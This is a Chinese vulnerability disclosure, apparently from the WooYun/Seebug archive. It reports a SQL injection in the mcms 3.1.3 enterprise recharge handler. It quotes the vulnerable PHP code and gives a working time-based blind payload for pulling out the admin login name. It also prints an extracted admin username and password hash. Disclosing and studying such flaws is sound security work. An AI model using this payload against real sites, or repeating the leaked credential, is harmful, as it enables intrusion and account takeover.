### 简要描述:
mcms最新版SQL注入一枚
### 详细说明:
掌易科技的程序员反应相当快啊,确认漏洞当天就修复以后出新版本了,前面在wooyun提的几个漏洞新版的mcms做了相应的处理,发布了新版v_3.1.3.enterprise,再来研究研究。
注入一枚:/app/public/user.php?m=recharge&ajax=1 POST中有个参数params存在注入。
```
function m__recharge(){
global $dbm;
check_level('C0503',AJAX);
$fields = array();
$_POST['params']=isset($_POST['params'])?trim($_POST['params']):'';
$_POST['params']=explode(',',$_POST['params']);
$_POST['point'] = isset($_POST['point'])?intval($_POST['point']):0;
if(count($_POST['params'])==0) die('{"code":"1","msg":"请选择会员","id":"user"}');
if($_POST['point']==0) die('{"code":"2","msg":"请输入积分数","id":"point"}');
foreach($_POST['params'] as $v){
$fields = array('uid'=>$v,'point'=>$_POST['point'],'create_time'=>time(),'point_type'=>4);
$ret = $dbm->single_insert(TB_PRE."point",$fields);
}
die('{"code":"0","msg":"充值成功"}');
}
```
因为没有经过sqlxss()的处理,因此,这里是存在注入的。
但是这里有个问题是,不能使用逗号,那就这样吧
Payload:GET提交
```
point=1¶ms=3' and ( select case when ( select login_name from ( select * from mcms_user) as a where uid=1) like 'a%' then sleep(1) else sleep(0) end) or '
```
因为是time-based blind 注入,猜测管理员用户名的第一个字母时,若错误,不延迟,如下图
[<img src="https://images.seebug.org/upload/201504/142338532b5f963b6e6d720ef43f49190ad9897e.jpg" alt="错误副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/142338532b5f963b6e6d720ef43f49190ad9897e.jpg)
若正确,延迟,如下图
[<img src="https://images.seebug.org/upload/201504/1423390303d00a46130fe0560b034ec0d94f6e8b.jpg" alt="成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/1423390303d00a46130fe0560b034ec0d94f6e8b.jpg)
按上面的方法依次做下去(burp intruder或者自己写个脚本跑),可测试管理员用户名为:mcmsadmin,密码为: f6fdffe48c908deb0f4c3bd36c032e72
### 漏洞证明:
见 详细说明
暂无评论